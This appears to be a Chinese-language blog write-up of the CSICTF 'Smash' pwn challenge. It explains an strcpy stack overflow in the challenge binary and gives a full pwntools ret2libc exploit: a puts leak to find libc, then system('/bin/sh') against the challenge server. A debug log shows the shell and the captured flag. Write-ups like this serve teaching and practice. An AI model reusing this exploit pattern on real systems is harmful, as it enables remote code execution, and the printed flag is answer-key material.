




# 【CSICTF】Smash WriteUp

原创

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本文链接: <https://blog.csdn.net/tqdyqt/article/details/107462804>

版权

# Smash

499

pwn binary

My first C program that says hello, do you want to try it?

<https://mega.nz/file/UmoyyapQ#jMcq5WmcV-kPusmokMH-okJX6czkgkmMultRaHWBbU0>

nc chall.csivit.com 30046

hello

作为最后一道pwn题，难度还行  
附件直接给了libc文件

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char v4; // [esp+3h] [ebp-Dh]
4     void *ptr; // [esp+4h] [ebp-Ch]
5     size_t size; // [esp+8h] [ebp-8h]
6
7     setbuf(stdout, 0);
8     setbuf(stdin, 0);
9     setbuf(stderr, 0);
10    size = 0;
11    ptr = malloc(0);
12    puts("What's your name?");
13    while ( 1 )
14    {
15        __isoc99_scanf("%c", &v4);
16        ptr = realloc(ptr, ++size);
17        if ( v4 == 10 )
18            break;
19        *(ptr + size - 1) = v4;
20    }
21    *(ptr + size - 1) = 0;
22    say_hello(ptr);
23    free(ptr);
24    return 0;
25 }
```

```
1 int __cdecl say_hello(char *src)
2 {
3     char dest; // [esp+0h] [ebp-84h]
4
5     strcpy(&dest, src);
6     printf("Hello, ");
7     printf(&dest);
8     return puts("!");
9 }
```

main函数里采用动态分配内存来储存输入，无法溢出，但是会将字符串传入say\_hello函数中，strcpy函数可以溢出  
没有后门函数，考虑采取ret2libc的rop方法，先泄露libc基址，然后返回main函数，再system binsh拿到shell

```

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='i386'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30046)
#io=process('./hello')
elf=ELF('./hello')
libc=ELF('./libc.so.6')

ra()
sl('a'*(0x84+4)+p32(elf.plt['puts'])+p32(0x804865D)+p32(elf.got['puts']))
rl()
puts_addr=u32(rn(4))
libc_addr=puts_addr-libc.sym['puts']
system_addr=libc_addr+libc.sym['system']
binsh=libc_addr+libc.search('/bin/sh\0').next()
ra()
sl('a'*(0x84+4)+p32(system_addr)+p32(0x804865D)+p32(binsh))

io.interactive()

```

```

wesker@ubuntu: ~/Desktop
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
·|]···|
00000090 0b 51 f6 f7 0a |·Q···|
00000095
[*] Switching to interactive mode
[DEBUG] Received 0x7 bytes:
'Hello, '
Hello, [DEBUG] Received 0x96 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 |aaaa|aaaa|aaa
a|aaaa|
*
00000080 61 61 61 61 61 61 61 61 50 69 e4 f7 5d 86 04 08 |aaaa|aaaa|Pi·
·|]···|
00000090 0b 51 f6 f7 21 0a |·Q···|!·|
00000096
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaPi◆◆]\x86\x0\x0bQ◆◆!
$ █ cat fl
ag.txt
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[DEBUG] Received 0x1e bytes:
'csictf{5up32_m4210_5m45h_8202}'
csictf{5up32_m4210_5m45h_8202}[*] Got EOF while reading in interactive
$ █

```



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